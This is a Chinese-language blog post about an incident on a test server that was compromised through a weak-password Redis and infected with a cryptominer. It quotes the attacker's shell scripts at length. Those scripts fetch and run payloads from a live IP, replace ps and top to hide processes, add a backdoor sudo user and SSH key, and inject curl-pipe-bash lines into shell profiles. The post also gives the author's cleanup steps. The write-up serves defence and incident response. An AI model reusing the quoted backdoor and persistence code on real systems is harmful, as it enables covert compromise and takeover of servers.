服务器被挖矿,top找不到相应进程怎么办

1,603 阅读4分钟
> “阿里云告警说我们服务器被挖矿了,你赶紧看看”
> "卧槽?!哪台服务器?"
> "测试的"
> "哦,那不慌,我先看看“

第一次被挖矿,赶紧先百度下,百度完都是top查看进程,然后找到对应文件,删掉,然后kill进程,完美。

太简单了,看我的

top

wtf?怎么显示cpu使用率都很低,加起来还不到10%,那为啥服务器监控显示cpu 70-90%之间波动。 不管他,先重启一下,反正是测试服,一重启,屁用没有。

先看开机自启项目,太多了,根本看不过来,再看看定时任务,

crontab -l

咦,发现一个可疑的对象

image.png

那还不简单,先把定时任务删了。看我的(我没有定时任务,所以,直接删了,如果你有,可以用修改 -e) crontab -r 卧槽?还删不了,我是root帐号啊,

lsattr filename 先查看文件属性,原来被锁了。

chattr -ai filename

先解锁,然后再删,这次成功了,为了以防万一,把定时任务关闭了

service crond stop 

删除以后,继续top还是一样,那么问题就不是这 这个时候我瞄上这个定时任务的远程地址,我把这个脚本下下来。打开:

#!/bin/bash
echo "ok22$(date)" >>/tmp/ok.log
export CURL_CMD="curl"
if [ -f /bin/cd1 ];then
    export CURL_CMD="/bin/cd1" 
elif [ -f /bin/cur ];then
    export CURL_CMD="/bin/cur" 
elif [ -f /bin/TNTcurl ];then
    export CURL_CMD="/bin/TNTcurl" 
elif [ -f /bin/curltnt ];then 
    export CURL_CMD="/bin/curltnt" 
elif [ -f /bin/curl1 ];then
    export CURL_CMD="/bin/curl1" 
elif [ -f /bin/cdt ];then
    export CURL_CMD="/bin/cdt" 
elif [ -f /bin/xcurl ];then
    export CURL_CMD="/bin/xcurl"  
elif [ -x "/bin/cdz" ];then
    export CURL_CMD="/bin/cdz"
fi 
sh_url="http://104.192.82.138/s3f1015"  
export MOHOME=/var/tmp/.crypto/...
if [ -f ${MOHOME}/.ddns.log ];then
    echo "process possible running"
    current=$(date +%s)
    last_modified=$(stat -c "%Y" ${MOHOME}/.ddns.log)
    if [ $(($current-$last_modified)) -gt 6 ];then
        echo "process is not running"
    else 
        ${CURL_CMD} -fsSL -o ${MOHOME}/.ddns.pid ${sh_url}/m/reg0.tar.gz
        exit 0
    fi
fi
if [ "$(id -u)" == "0" ];then
    ${CURL_CMD} -fsSL ${sh_url}/c/ar.sh |bash
else
    ${CURL_CMD} -fsSL ${sh_url}/c/ai.sh |bash
fi

发现脚本里面还有一个地址,同样下下来,好家伙,直接源码来了(不包含挖矿的源码),所以让我们来看下,他是怎么一步一步的操作我们的服务器的。 省略一些iptables的操作。

首先,贴心的给你重新安装wget,他用来远程导入嘛

if [ $(command -v yum) ];then  
    rpm -e --nodeps wget 
    yum remove -y wget
    yum install -y wget  
else
    apt-get remove -y wget
    apt-get install -y wget
fi

然后,贴心的把你的ps命令给换了

export PS_CMD="/bin/ps"
pssize=$(ls -l /bin/ps | awk '{ print $5 }') 
${CHATTR} -i /bin/ps
if [ ${pssize} -le 8000 ];then 
    ps_name=$(awk '/$@/ {print $1}' /bin/ps)  
    if [ ! "${ps_name}" = "ps.lanigiro" ];then
        mv /bin/${ps_name} /bin/ps.lanigiro
    fi
else 
    mv /bin/ps /bin/ps.lanigiro 
fi 
echo "#!/bin/bash">/bin/ps
echo "ps.lanigiro $@ | grep -v 'ddns|httpd'" >>/bin/ps 
touch -d 20160825 /bin/ps
chmod a+x /bin/ps
${CHATTR} +i /bin/ps  
if [ -x /bin/ps.lanigiro ];then
    PS_CMD="/bin/ps.lanigiro"
fi

再然后,贴心的把top也给你换了,并且贴心的都加上了不让删除

topsize=`ls -l /bin/top | awk '{ print $5 }'`
${CHATTR} -i /bin/top
if [ ${topsize} -le 8000 ];then  
    top_name=$(awk '/$@/ {print $1}' /bin/top)
    if [ ! "${top_name}" = "top.lanigiro" ];then
        mv /bin/${top_name} /bin/top.lanigiro
    fi
else 
    mv /bin/top /bin/top.lanigiro
fi
echo "#!/bin/bash">/bin/top 
echo "top.lanigiro $@ | grep -v 'ddns|httpd'">>/bin/top 
chmod a+x /bin/top
touch -d 20160716 /bin/top
${CHATTR} +i /bin/top 

没错,就是这个top.lanigiro,就是你原来的命令,顿时,我就发现了新大陆,直接服务器跑一下 top.lanigiro 果然找到了那个占据我cpu的挖矿进程。 这个时候不要急,不要直接就kill了,不然你去哪里找挖矿程序。

按理我直接ps -ef | grep xxx,但是不要忘了,ps也被他给换了,所以这个时候要用ps.lanigiro -ef | grep xxx

找到对应的文件夹,kill进程,删除文件,删除不掉记得chattr -ai xxx

到了这里,基本上挖矿程序已经被终结了,cpu也降下来了,但是他是怎么进来的,会不会还会卷土重来。 上网查了一下,是通过redis进来的,我们是测试服务器,密码就是123456的弱密码,且对外访问,先把6379端口不对外,或者改密码。

然后继续看脚本

makesshaxx(){  
    RSAKEY="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD0niuqhmdgATEUH9gaaxhnK9x8y9GopY1MxQe1VGWSps/MGb/ngvEu9DMVrnH/RcsnnPsV1Ncyjd/y4CdvFrR+OoNZquuVfAUbhOUO6up6GxtoObSV3V5lyepnJK5gzmxfelfmotxUzzwMYkgdsdeasVS4pqdASrivsFdG8kf59XG6VAD5j14uojZnLzVwvDs5usHFyS9QRr4pEfd670bO0TAbSQjf76eVwgQTMoQJaK1uHDkeVPuHhLXZtGPF2NVr1fTB3L8udxfQvw1A0OSLoKtYEXrDbiDKrJ+QINLvn8i98k2d+/EvDtM+BpuH8FTw3rC9VuY/IutOo0aY0mRXMn5A1L0x2YCfSavUH+zwf3qPLUW4rQNYxXoX5xzYafLsuYjfvhwYkO4OZb3teOU7vcFcYc1cgthdOtDfllMXmdOJKhMlwVB2xBx3UJyZQdqdOnFTxQ8i1j2li0ywKiARDFypqj+GNSBwpTKhYsWW699oSI79JD9r4tWfxyVyfAs= root@pending.com"
    ${CHATTR} -ia /etc/passwd;  
    grep -q lsb /etc/passwd || echo 'lsb:x:1000:1000::/home/lsb:/bin/bash' >> /etc/passwd
    ${CHATTR} +ia /etc/passwd
    ${CHATTR} -ia /etc/shadow
    grep -q "lsb:$6$4E4W/nnk" /etc/shadow  || echo 'lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::' >> /etc/shadow
    ${CHATTR} +ia /etc/shadow
    ${CHATTR} -ia /etc/sudoers  
    grep -q lsb /etc/sudoers || echo 'lsb ALL=(ALL:ALL) ALL' >> /etc/sudoers
    ${CHATTR} +i /etc/sudoers

    mkdir /home/lsb/.ssh/ -p  
    ${CHATTR} -ia /home/lsb/.ssh/authorized_keys
    touch /home/lsb/.ssh/authorized_keys  
    chmod 600 /home/lsb/.ssh/authorized_keys
    grep -q root@pending.com /home/lsb/.ssh/authorized_keys || echo $RSAKEY > /home/lsb/.ssh/authorized_keys
    ${CHATTR}  +ia /home/lsb/.ssh/authorized_keys

    ${CHATTR} -ia /home/lsb/.ssh/authorized_keys2
    touch /home/lsb/.ssh/authorized_keys2  
    chmod 600 /home/lsb/.ssh/authorized_keys2  
    grep -q root@pending.com /home/lsb/.ssh/authorized_keys2 || echo $RSAKEY > /home/lsb/.ssh/authorized_keys2
    ${CHATTR} +ia /home/lsb/.ssh/authorized_keys2

    mkdir /root/.ssh/ -p  
    ${CHATTR} -ia /root/.ssh/authorized_keys
    touch /root/.ssh/authorized_keys  
    chmod 600 /root/.ssh/authorized_keys 
    grep -q root@pending.com /root/.ssh/authorized_keys || echo $RSAKEY >> /root/.ssh/authorized_keys
 
    ${CHATTR} +ia /root/.ssh/authorized_keys

    ${CHATTR} -ia /root/.ssh/authorized_keys2
    touch /root/.ssh/authorized_keys2
    chmod 600 /root/.ssh/authorized_keys2   
    grep -q root@pending.com /root/.ssh/authorized_keys2 || echo $RSAKEY > /root/.ssh/authorized_keys2
    ${CHATTR} +ia /root/.ssh/authorized_keys2
    for f in $(ls /home)
    do 
        if ! grep "${CURL_CMD} -fsSL ${sh_url}/a/a.sh | bash" /home/${f}/.profile > /dev/null;then
            echo "{" >> /home/${f}/.profile
            echo "${CURL_CMD} -fsSL ${sh_url}/a/a.sh | bash" >> /home/${f}/.profile
            echo "} > /dev/null 2>&1" >> /home/${f}/.profile
        fi  
        if ! grep "${CURL_CMD} -fsSL ${sh_url}/a/a.sh | bash" /home/${f}/.bashrc > /dev/null;then
            echo "{" >> /home/${f}/.bashrc
            echo "${CURL_CMD} -fsSL ${sh_url}/a/a.sh | bash" >> /home/${f}/.bashrc
            echo "} > /dev/null 2>&1" >> /home/${f}/.bashrc
        fi  
    done 
    
    if ! grep "${CURL_CMD} -fsSL ${sh_url}/a/a.sh | bash" /root/.profile > /dev/null;then
        echo "{" >> /root/.profile
        echo "${CURL_CMD} -fsSL ${sh_url}/a/a.sh | bash" >>/root/.profile
        echo "} > /dev/null 2>&1" >> /root/.profile
    fi  
    if ! grep "${CURL_CMD} -fsSL ${sh_url}/a/a.sh | bash" /root/.bashrc > /dev/null;then
        echo "{" >> /root/.bashrc
        echo "${CURL_CMD} -fsSL ${sh_url}/a/a.sh | bash" >>/root/.bashrc
        echo "} > /dev/null 2>&1" >> /root/.bashrc
    fi 
}

他给自己写了免登录的密钥,还加了个用户,按照文件路径一一删除,这样他下次就进不来了。 这样就差不多了,还有些细枝末节已经影响不到了. 最后把他替换的那些命令再移动回来,包含 ps,pstree,top。整个流程就差不多结束了。